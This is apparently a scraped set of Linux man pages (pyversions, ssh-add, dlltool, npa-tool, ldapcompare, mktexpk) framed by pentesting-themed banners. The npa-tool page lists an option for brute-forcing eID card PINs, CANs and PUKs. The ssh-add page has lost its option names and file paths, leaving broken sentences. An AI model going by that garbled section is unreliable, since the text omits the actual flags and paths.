░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1286 - Linux cli command pyversions

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pyversions and provides detailed information about the command pyversions, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pyversions.

NAME 🖥️ pyversions 🖥️

print python version information

SYNOPSIS

pyversions [-h] [-v] [<options>]

DESCRIPTION

pyversions prints information about installed, supported python runtimes, the default runtime, and parses the information of the PythonVersion fields in the package control file.

OPTIONS

-d, –default
Show the default python version.

-s, –supported
Show the supported python versions.

-r, –requested [<version string>|<control file>]
Reads the value of the XS-Python-Version field in the source section of a control file and shows all matching python versions. The parameter is interpreted as a version string, if it is not the name of a file. If the XS-Python-Version field is missing, get the version information from debian/pyversions. Without any parameter, it will fall back to list the supported Python versions after checking debian/control and debian/pyversions.

-i, –installed
Show the installed supported python versions.

-v, –version
Limit the output to the version numbers of the python versions.

-h, –help
Print a help text.

SEE ALSO

Python policy.

AUTHOR

Matthias Klose

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1287 - Linux cli command ssh-add

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ssh-add and provides detailed information about the command ssh-add, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ssh-add.

adds private key identities to the authentication agent,

When run without arguments, it adds the files

and

After loading a private key,

will try to load corresponding certificate information from the filename obtained by appending

to the name of the private key file. Alternative file names can be given on the command line.

If any file requires a passphrase,

asks for the passphrase from the user. The passphrase is read from the user’s tty.

retries the last passphrase if multiple identity files are given.

The authentication agent must be running and the

environment variable must contain the name of its socket for

to work.

The options are as follows:

When loading keys into or deleting keys from the agent, process certificates only and skip plain keys.

Indicates that added identities should be subject to confirmation before being used for authentication. Confirmation is performed by

Successful confirmation is signaled by a zero exit status from

rather than text entered into the requester.

Deletes all identities from the agent.

Instead of adding identities, removes identities from the agent. If

has been run without arguments, the keys for the default identities and their corresponding certificates will be removed. Otherwise, the argument list will be interpreted as a list of paths to public key files to specify keys and certificates to be removed from the agent. If no public key is found at a given path,

will append

and retry. If the argument list consists of

then

will read public keys to be removed from standard input.

Specifies the hash algorithm used when displaying key fingerprints. Valid options are:

and

The default is

Remove keys provided by the PKCS#11 shared library

Specifies a known hosts file to look up hostkeys when using destination-constrained keys via the

flag. This option may be specified multiple times to allow multiple files to be searched. If no files are specified,

will use the default

known hosts files:

and

When adding keys, constrain them to be usable only through specific hosts or to specific destinations.

Destination constraints of the form

permit use of the key only from the origin host (the one running

to the listed destination host, with optional user name.

Constraints of the form

allow a key available on a forwarded

to be used through a particular host (as specified by

to authenticate to a further host, specified by

Multiple destination constraints may be added when loading keys. When attempting authentication with a key that has destination constraints, the whole connection path, including

forwarding, is tested against those constraints and each hop must be permitted for the attempt to succeed. For example, if key is forwarded to a remote host,

and is attempting authentication to another host,

then the operation will be successful only if

was permitted from the origin host and the subsequent

hop is also permitted by destination constraints.

Hosts are identified by their host keys, and are looked up from known hosts files by

Wildcards patterns may be used for hostnames and certificate host keys are supported. By default, keys added by

are not destination constrained.

Destination constraints were added in OpenSSH release 8.9. Support in both the remote SSH client and server is required when using destination-constrained keys over a forwarded

channel.

It is also important to note that destination constraints can only be enforced by

when a key is used, or when it is forwarded by a

Specifically, it does not prevent an attacker with access to a remote

from forwarding it again and using it on a different host (but only to a permitted destination).

Load resident keys from a FIDO authenticator.

When loading keys into or deleting keys from the agent, process plain private keys only and skip certificates.

Lists public key parameters of all identities currently represented by the agent.

Lists fingerprints of all identities currently represented by the agent.

Be quiet after a successful operation.

Specifies a path to a library that will be used when adding FIDO authenticator-hosted keys, overriding the default of using the internal USB HID support.

Add keys provided by the PKCS#11 shared library

Certificate files may optionally be listed as command-line arguments. If these are present, then they will be loaded into the agent using any corresponding private keys loaded from the PKCS#11 token.

Tests whether the private keys that correspond to the specified

files are usable by performing sign and verify operations on each.

Set a maximum lifetime when adding identities to an agent. The lifetime may be specified in seconds or in a time format specified in

Verbose mode. Causes

to print debugging messages about its progress. This is helpful in debugging problems. Multiple

options increase the verbosity. The maximum is 3.

Unlock the agent.

Lock the agent with a password.

If

needs a passphrase, it will read the passphrase from the current terminal if it was run from a terminal. If

does not have a terminal associated with it but

and

are set, it will execute the program specified by

(by default

and open an X11 window to read the passphrase. This is particularly useful when calling

from a

or related script.

allows further control over the use of an askpass program. If this variable is set to

then

will never attempt to use one. If it is set to

then

will prefer to use the askpass program instead of the TTY when requesting passwords. Finally, if the variable is set to

then the askpass program will be used for all passphrase input regardless of whether

is set.

Identifies the path of a

socket used to communicate with the agent.

Specifies a path to a library that will be used when loading any FIDO authenticator-hosted keys, overriding the default of using the built-in USB HID support.

Contains the DSA, ECDSA, authenticator-hosted ECDSA, Ed25519, authenticator-hosted Ed25519 or RSA authentication identity of the user.

Identity files should not be readable by anyone but the user. Note that

ignores identity files if they are accessible by others.

Exit status is 0 on success, 1 if the specified command fails, and 2 if

is unable to contact the authentication agent.

OpenSSH is a derivative of the original and free ssh 1.2.12 release by Tatu Ylonen. Aaron Campbell, Bob Beck, Markus Friedl, Niels Provos, Theo de Raadt and Dug Song removed many bugs, re-added newer features and created OpenSSH. Markus Friedl contributed the support for SSH protocol versions 1.5 and 2.0.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1288 - Linux cli command x86_64-w64-mingw32ucrt-dlltool

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32ucrt-dlltool and provides detailed information about the command x86_64-w64-mingw32ucrt-dlltool, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32ucrt-dlltool.

NAME 🖥️ x86_64-w64-mingw32ucrt-dlltool 🖥️

create files needed to build and use DLLs

SYNOPSIS

dlltool [-d|–input-def def-file-name] [-b|–base-file base-file-name] [-e|–output-exp exports-file-name] [-z|–output-def def-file-name] [-l|–output-lib library-file-name] [-y|–output-delaylib library-file-name] [–export-all-symbols] [–no-export-all-symbols] [–exclude-symbols list] [–no-default-excludes] [-S|–as path-to-assembler] [-f|–as-flags options] [-D|–dllname name] [-m|–machine machine] [-a|–add-indirect] [-U|–add-underscore] [–add-stdcall-underscore] [-k|–kill-at] [-A|–add-stdcall-alias] [-p|–ext-prefix-alias prefix] [-x|–no-idata4] [-c|–no-idata5] [–use-nul-prefixed-import-tables] [-I|–identify library-file-name] [–identify-strict] [-i|–interwork] [-n|–nodelete] [-t|–temp-prefix prefix] [-v|–verbose] [-h|–help] [-V|–version] [–no-leading-underscore] [–leading-underscore] [–deterministic-libraries] [–non-deterministic-libraries] [object-file …]

DESCRIPTION

dlltool reads its inputs, which can come from the -d and -b options as well as object files specified on the command line. It then processes these inputs and if the -e option has been specified it creates a exports file. If the -l option has been specified it creates a library file and if the -z option has been specified it creates a def file. Any or all of the -e, -l and -z options can be present in one invocation of dlltool.

When creating a DLL, along with the source for the DLL, it is necessary to have three other files. dlltool can help with the creation of these files.

The first file is a .def file which specifies which functions are exported from the DLL, which functions the DLL imports, and so on. This is a text file and can be created by hand, or dlltool can be used to create it using the -z option. In this case dlltool will scan the object files specified on its command line looking for those functions which have been specially marked as being exported and put entries for them in the .def file it creates.

In order to mark a function as being exported from a DLL, it needs to have an -export:<name_of_function> entry in the .drectve section of the object file. This can be done in C by using the asm() operator:

asm (".section .drectve"); asm (".ascii -export:my_func"); int my_func (void) { … }

The second file needed for DLL creation is an exports file. This file is linked with the object files that make up the body of the DLL and it handles the interface between the DLL and the outside world. This is a binary file and it can be created by giving the -e option to dlltool when it is creating or reading in a .def file.

The third file needed for DLL creation is the library file that programs will link with in order to access the functions in the DLL (an `import library’). This file can be created by giving the -l option to dlltool when it is creating or reading in a .def file.

If the -y option is specified, dlltool generates a delay-import library that can be used instead of the normal import library to allow a program to link to the dll only as soon as an imported function is called for the first time. The resulting executable will need to be linked to the static delayimp library containing _ _delayLoadHelper2(), which in turn will import LoadLibraryA and GetProcAddress from kernel32.

dlltool builds the library file by hand, but it builds the exports file by creating temporary files containing assembler statements and then assembling these. The -S command-line option can be used to specify the path to the assembler that dlltool will use, and the -f option can be used to pass specific flags to that assembler. The -n can be used to prevent dlltool from deleting these temporary assembler files when it is done, and if -n is specified twice then this will prevent dlltool from deleting the temporary object files it used to build the library.

Here is an example of creating a DLL from a source file dll.c and also creating a program (from an object file called program.o) that uses that DLL:

gcc -c dll.c dlltool -e exports.o -l dll.lib dll.o gcc dll.o exports.o -o dll.dll gcc program.o dll.lib -o program

dlltool may also be used to query an existing import library to determine the name of the DLL to which it is associated. See the description of the -I or –identify option.

OPTIONS

The command-line options have the following meanings:

-d filename

–input-def filename

Specifies the name of a .def file to be read in and processed.

-b filename

–base-file filename

Specifies the name of a base file to be read in and processed. The contents of this file will be added to the relocation section in the exports file generated by dlltool.

-e filename

–output-exp filename

Specifies the name of the export file to be created by dlltool.

-z filename

–output-def filename

Specifies the name of the .def file to be created by dlltool.

-l filename

–output-lib filename

Specifies the name of the library file to be created by dlltool.

-y filename

–output-delaylib filename

Specifies the name of the delay-import library file to be created by dlltool.

–deterministic-libraries

–non-deterministic-libraries

When creating output libraries in response to either the –output-lib or –output-delaylib options either use the value of zero for any timestamps, user ids and group ids created (–deterministic-libraries) or the actual timestamps, user ids and group ids (–non-deterministic-libraries).

–export-all-symbols
Treat all global and weak defined symbols found in the input object files as symbols to be exported. There is a small list of symbols which are not exported by default; see the –no-default-excludes option. You may add to the list of symbols to not export by using the –exclude-symbols option.

–no-export-all-symbols
Only export symbols explicitly listed in an input .def file or in .drectve sections in the input object files. This is the default behaviour. The .drectve sections are created by dllexport attributes in the source code.

–exclude-symbols list
Do not export the symbols in list. This is a list of symbol names separated by comma or colon characters. The symbol names should not contain a leading underscore. This is only meaningful when –export-all-symbols is used.

–no-default-excludes
When –export-all-symbols is used, it will by default avoid exporting certain special symbols. The current list of symbols to avoid exporting is DllMain@12, DllEntryPoint@0, impure_ptr. You may use the –no-default-excludes option to go ahead and export these special symbols. This is only meaningful when –export-all-symbols is used.

-S path

–as path

Specifies the path, including the filename, of the assembler to be used to create the exports file.

-f options

–as-flags options

Specifies any specific command-line options to be passed to the assembler when building the exports file. This option will work even if the -S option is not used. This option only takes one argument, and if it occurs more than once on the command line, then later occurrences will override earlier occurrences. So if it is necessary to pass multiple options to the assembler they should be enclosed in double quotes.

-D name

–dll-name name

Specifies the name to be stored in the .def file as the name of the DLL when the -e option is used. If this option is not present, then the filename given to the -e option will be used as the name of the DLL.

-m machine

-machine machine

Specifies the type of machine for which the library file should be built. dlltool has a built in default type, depending upon how it was created, but this option can be used to override that. This is normally only useful when creating DLLs for an ARM processor, when the contents of the DLL are actually encode using Thumb instructions.

-a

–add-indirect

Specifies that when dlltool is creating the exports file it should add a section which allows the exported functions to be referenced without using the import library. Whatever the hell that means!

-U

–add-underscore

Specifies that when dlltool is creating the exports file it should prepend an underscore to the names of all exported symbols.

–no-leading-underscore

–leading-underscore

Specifies whether standard symbol should be forced to be prefixed, or not.

–add-stdcall-underscore
Specifies that when dlltool is creating the exports file it should prepend an underscore to the names of exported stdcall functions. Variable names and non-stdcall function names are not modified. This option is useful when creating GNU-compatible import libs for third party DLLs that were built with MS-Windows tools.

-k

–kill-at

Specifies that @<number> suffixes should be omitted from the names of stdcall functions that will be imported from the DLL. This is useful when creating an import library for a DLL which exports stdcall functions but without the usual @<number> symbol name suffix. This does not change the naming of symbols provided by the import library to programs linked against it, but only the entries in the import table (ie the .idata section).

-A

–add-stdcall-alias

Specifies that when dlltool is creating the exports file it should add aliases for stdcall symbols without @ <number> in addition to the symbols with @ <number>.

-p

–ext-prefix-alias prefix

Causes dlltool to create external aliases for all DLL imports with the specified prefix. The aliases are created for both external and import symbols with no leading underscore.

-x

–no-idata4

Specifies that when dlltool is creating the exports and library files it should omit the .idata4 section. This is for compatibility with certain operating systems.

–use-nul-prefixed-import-tables
Specifies that when dlltool is creating the exports and library files it should prefix the .idata4 and .idata5 by zero an element. This emulates old gnu import library generation of dlltool. By default this option is turned off.

-c

–no-idata5

Specifies that when dlltool is creating the exports and library files it should omit the .idata5 section. This is for compatibility with certain operating systems.

-I filename

–identify filename

Specifies that dlltool should inspect the import library indicated by filename and report, on stdout, the name(s) of the associated DLL(s). This can be performed in addition to any other operations indicated by the other options and arguments. dlltool fails if the import library does not exist or is not actually an import library. See also –identify-strict.

–identify-strict
Modifies the behavior of the –identify option, such that an error is reported if filename is associated with more than one DLL.

-i

–interwork

Specifies that dlltool should mark the objects in the library file and exports file that it produces as supporting interworking between ARM and Thumb code.

-n

–nodelete

Makes dlltool preserve the temporary assembler files it used to create the exports file. If this option is repeated then dlltool will also preserve the temporary object files it uses to create the library file.

-t prefix

–temp-prefix prefix

Makes dlltool use prefix when constructing the names of temporary assembler and object files. By default, the temp file prefix is generated from the pid.

-v

–verbose

Make dlltool describe what it is doing.

-h

–help

Displays a list of command-line options and then exits.

-V

–version

Displays dlltool’s version number and then exits.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

The Info pages for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1289 - Linux cli command npa-tool

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command npa-tool and provides detailed information about the command npa-tool, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the npa-tool.

NAME 🖥️ npa-tool 🖥️

tool - displays information on the German eID card (neuer Personalausweis, nPA).

SYNOPSIS

npa-tool [OPTIONS]

DESCRIPTION

The npa-tool utility is used to display information stored on the German eID card (neuer Personalausweis, nPA), and to perform some write and verification operations.

Extended Access Control version 2 is performed according to ICAO Doc 9303 or BSI TR-03110 so that other identity cards and machine readable travel documents (MRTDs) may be read as well.

OPTIONS

–help, -h

Print help and exit.

–version, -V

Print version and exit.

–reader arg, -r arg

Number of the reader to use. By default, the first reader with a present card is used. If arg is an ATR, the reader with a matching card will be chosen.

–verbose, -v

Causes npa-tool to be more verbose. Specify this flag several times to be more verbose.

Password Authenticated Connection Establishment (PACE)

–pin [STRING], -p [STRING]

Run PACE with (transport) eID-PIN.

–puk [STRING], -u [STRING]

Run PACE with PUK.

–can [STRING], -c [STRING]

Run PACE with Card Access Number (CAN).

–mrz [STRING], -m [STRING]

Run PACE with Machine Readable Zone (MRZ). Enter the MRZ without newlines.

–env

Specify whether to use environment variables PIN, PUK, CAN, MRZ, and NEWPIN. You may want to clean your environment before enabling this. (default=off)

PIN management

–new-pin [STRING], -N [STRING]

Install a new PIN.

–resume, -R

Resume eID-PIN (uses CAN to activate last retry). (default=off)

–unblock, -U

Unblock PIN (uses PUK to activate three more retries). (default=off)

Terminal Authentication (TA) and Chip Authentication (CA)

–cv-certificate FILENAME, -C FILENAME

Specify Card Verifiable (CV) certificate to create a certificate chain. The option can be given multiple times, in which case the order is important.

–cert-desc HEX_STRING

Certificate description to show for Terminal Authentication.

–chat HEX_STRING

Specify the Card Holder Authorization Template (CHAT) to use. If not given, it defaults to the terminals CHAT. Use 7F4C0E060904007F000703010203530103 to trigger EAC on the CAT-C (Komfortleser).

–auxiliary-data HEX_STRING, -A HEX_STRING

Specify the terminals auxiliary data. If not given, the default is determined by verification of validity, age and community ID.

–private-key FILENAME, -P FILENAME

Specify the terminals private key.

–cvc-dir DIRECTORY

Specify where to look for the certificate of the Country Verifying Certification Authority (CVCA). If not given, it defaults to /home/fm/.local/etc/eac/cvc.

–x509-dir DIRECTORY

Specify where to look for the X.509 certificate. If not given, it defaults to /home/fm/.local/etc/eac/x509.

–disable-ta-checks

Disable checking the validity period of CV certificates. (default=off)

–disable-ca-checks

Disable passive authentication. (default=off)

Read and write data groups

–read-dg1

Read data group 1: Document Type.

–read-dg2

Read data group 2: Issuing State.

–read-dg3

Read data group 3: Date of Expiry.

–read-dg4

Read data group 4: Given Name(s).

–read-dg5

Read data group 5: Family Name.

–read-dg6

Read data group 6: Religious/Artistic Name.

–read-dg7

Read data group 7: Academic Title.

–read-dg8

Read data group 8: Date of Birth.

–read-dg9

Read data group 9: Place of Birth.

–read-dg10

Read data group 10: Nationality.

–read-dg11

Read data group 11: Sex.

–read-dg12

Read data group 12: Optional Data.

–read-dg13

Read data group 13: Birth Name.

–read-dg14

Read data group 14.

–read-dg15

Read data group 15.

–read-dg16

Read data group 16.

–read-dg17

Read data group 17: Normal Place of Residence.

–read-dg18

Read data group 18: Community ID.

–read-dg19

Read data group 19: Residence Permit I.

–read-dg20

Read data group 20: Residence Permit II.

–read-dg21

Read data group 21: Optional Data.

–write-dg17 HEX_STRING

Write data group 17: Normal Place of Residence.

–write-dg18 HEX_STRING

Write data group 18: Community ID.

–write-dg19 HEX_STRING

Write data group 19: Residence Permit I.

–write-dg20 HEX_STRING

Write data group 20: Residence Permit II.

–write-dg21 HEX_STRING

Write data group 21: Optional Data.

Verification of validity, age and community ID

–verify-validity YYYYMMDD

Verify chips validity with a reference date.

–older-than YYYYMMDD

Verify age with a reference date.

–verify-community HEX_STRING

Verify community ID with a reference ID.

Special options, not always useful

–break, -b

Brute force PIN, CAN or PUK. Use together with options -p, -a, or -u. (default=off)

–translate FILENAME, -t FILENAME

Specify the file with APDUs of HEX_STRINGs to send through the secure channel. (default=`stdin)

–tr-03110v201

Force compliance to BSI TR-03110 version 2.01. (default=off)

–disable-all-checks

Disable all checking of fly-by-data. (default=off)

AUTHORS

npa-tool was written by Frank Morgner <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1290 - Linux cli command ldapcompare

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ldapcompare and provides detailed information about the command ldapcompare, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ldapcompare.

NAME 🖥️ ldapcompare 🖥️

LDAP compare tool

SYNOPSIS

ldapcompare [ -V[V]] [ -d* debuglevel]* [ -n] [ -v] [ -z] [ -M[M]] [ -x] [ -D* binddn]* [ -W] [ -w* passwd]* [ -y* passwdfile]* [ -H* ldapuri]* [ -P {2 | 3}] [ -e [!]ext[=extparam]] [ -E [!]ext[=extparam]] [ -o* opt***[=optparam]]** [ -O* security-properties]* [ -I] [ -Q] [ -N] [ -U* authcid]* [ -R* realm]* [ -X* authzid]* [ -Y* mech]* [ -Z[Z]] DN { **attr:**value | **attr::**b64value}

DESCRIPTION

ldapcompare is a shell-accessible interface to the ldap_compare_ext(3) library call.

ldapcompare opens a connection to an LDAP server, binds, and performs a compare using specified parameters. The DN should be a distinguished name in the directory. Attr should be a known attribute. If followed by one colon, the assertion value should be provided as a string. If followed by two colons, the base64 encoding of the value is provided. The result code of the compare is provided as the exit code and, unless ran with -z, the program prints TRUE, FALSE, or UNDEFINED on standard output.

OPTIONS

-V[V]
Print version info. If -VV is given, only the version information is printed.

-d* debuglevel*
Set the LDAP debugging level to debuglevel. ldapcompare must be compiled with LDAP_DEBUG defined for this option to have any effect.

-n
Show what would be done, but don’t actually perform the compare. Useful for debugging in conjunction with -v.

-v
Run in verbose mode, with many diagnostics written to standard output.

-z
Run in quiet mode, no output is written. You must check the return status. Useful in shell scripts.

-M[M]
Enable manage DSA IT control. -MM makes control critical.

-x
Use simple authentication instead of SASL.

-D* binddn*
Use the Distinguished Name binddn to bind to the LDAP directory. For SASL binds, the server is expected to ignore this value.

-W
Prompt for simple authentication. This is used instead of specifying the password on the command line.

-w* passwd*
Use passwd as the password for simple authentication.

-y* passwdfile*
Use complete contents of passwdfile as the password for simple authentication. Note that complete means that any leading or trailing whitespaces, including newlines, will be considered part of the password and, unlike other software, they will not be stripped. As a consequence, passwords stored in files by commands like echo(1) will not behave as expected, since echo(1) by default appends a trailing newline to the echoed string. The recommended portable way to store a cleartext password in a file for use with this option is to use slappasswd(8) with {CLEARTEXT} as hash and the option -n.

-H* ldapuri*
Specify URI(s) referring to the ldap server(s); only the protocol/host/port fields are allowed; a list of URI, separated by whitespace or commas is expected.

-P {2 | 3}
Specify the LDAP protocol version to use.

-e [!]ext[=extparam]
-E [!]ext[=extparam]
Specify general extensions with -e and compare extensions with -E. ‘!’ indicates criticality.

General extensions:

  [!]assert=<filter>    (an RFC 4515 Filter)
  !authzid=<authzid>    ("dn:<dn>" or "u:<user>")
  [!]bauthzid           (RFC 3829 authzid control)
  [!]chaining[=<resolve>[/<cont>]]
  [!]manageDSAit
  [!]noop
  ppolicy
  [!]postread[=<attrs>] (a comma-separated attribute list)
  [!]preread[=<attrs>]  (a comma-separated attribute list)
  [!]relax
  sessiontracking[=<username>]
  abandon,cancel,ignore (SIGINT sends abandon/cancel,
  or ignores response; if critical, doesn't wait for SIGINT.
  not really controls)

Compare extensions:

  !dontUseCopy

-o* opt***[=optparam]**
Specify any ldap.conf(5) option or one of the following:

  nettimeout=<timeout>  (in seconds, or "none" or "max")
  ldif_wrap=<width>     (in columns, or "no" for no wrapping)

-O* security-properties*
Specify SASL security properties.

-I
Enable SASL Interactive mode. Always prompt. Default is to prompt only as needed.

-Q
Enable SASL Quiet mode. Never prompt.

-N
Do not use reverse DNS to canonicalize SASL host name.

-U* authcid*
Specify the authentication ID for SASL bind. The form of the ID depends on the actual SASL mechanism used.

-R* realm*
Specify the realm of authentication ID for SASL bind. The form of the realm depends on the actual SASL mechanism used.

-X* authzid*
Specify the requested authorization ID for SASL bind. authzid must be one of the following formats: dn:<distinguished name> or u:<username>

-Y* mech*
Specify the SASL mechanism to be used for authentication. If it’s not specified, the program will choose the best mechanism the server knows.

-Z[Z]
Issue StartTLS (Transport Layer Security) extended operation. If you use -ZZ, the command will require the operation to be successful.

EXAMPLES

    ldapcompare "uid=babs,dc=example,dc=com"  sn:Jensen
    ldapcompare "uid=babs,dc=example,dc=com"  sn::SmVuc2Vu

are all equivalent.

LIMITATIONS

Requiring the value be passed on the command line is limiting and introduces some security concerns. The command should support a mechanism to specify the location (file name or URL) to read the value from.

SEE ALSO

ldap.conf(5), ldif(5), ldap(3), ldap_compare_ext(3)

AUTHOR

The OpenLDAP Project <http://www.openldap.org/>

ACKNOWLEDGEMENTS

OpenLDAP Software is developed and maintained by The OpenLDAP Project <http://www.openldap.org/>. OpenLDAP Software is derived from the University of Michigan LDAP 3.3 Release.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1291 - Linux cli command mktexpk

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mktexpk and provides detailed information about the command mktexpk, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mktexpk.

NAME 🖥️ mktexpk 🖥️

create a PK file for a font

SYNOPSIS

mktexpk [options] font [redirect]

DESCRIPTION

This manual page is not meant to be exhaustive. The complete documentation for this version of TeX can be found in the info file or manual Kpathsea: A library for path searching.

mktexpk is used to generate a pk file from the Metafont source files or type1 sources for font, if possible.

If redirect is given, it must be string of the form **>&**n where n is the number of the file descriptor which is to receive, instead of standard output, the name of the generated file.

mktexpk is typically called by other programs, rather than from the command line.

OPTIONS

mktexpk accepts the following options:

–bdpi* num*
Set the base device resolution.

–dpi* num*
Generate the font at resolution num.

–help
Print help message and exit.

–mag* mag*
The Metafont magnification that corresponds to the combination of bdpi and dpi that has been specified.

–mfmode* mode*
The Metafont mode to use.

–destdir* dir*
A directory name. If the directory is absolute, it is used as-is. Otherwise, it is appended to the root destination directory set in the script.

–version
Print version information and exit.

BUGS

If the mode is not specified, mktexpk tries to determine it from bdpi. The manner in which this is done is primitive. Since bpdi doesn’t provide sufficient information to uniquely determine a mode it is strongly recommended that it be specified explicitly.

If the mode and bpdi don’t match, the mode is discarded.

The dpi parameter is redundant, but is not checked for consistency. Worse, the program will fail if the wrong dpi is specified.

SEE ALSO

mktexmf(1), mktextfm(1).

REPORTING BUGS

Report bugs to: [email protected] (https://lists.tug.org/tex-k)
TeX Live home page: https://tug.org/texlive/

